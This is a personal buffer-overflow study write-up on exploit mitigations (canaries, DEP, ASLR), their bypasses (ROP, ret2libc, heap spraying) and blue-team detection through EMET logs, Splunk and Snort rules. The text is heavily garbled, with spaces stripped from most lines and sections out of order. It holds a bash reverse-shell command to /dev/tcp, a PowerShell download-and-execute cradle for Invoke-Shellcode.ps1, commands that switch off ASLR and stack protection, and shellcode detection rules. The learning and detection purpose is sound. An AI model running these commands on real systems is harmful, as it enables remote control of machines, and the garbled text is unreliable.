charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

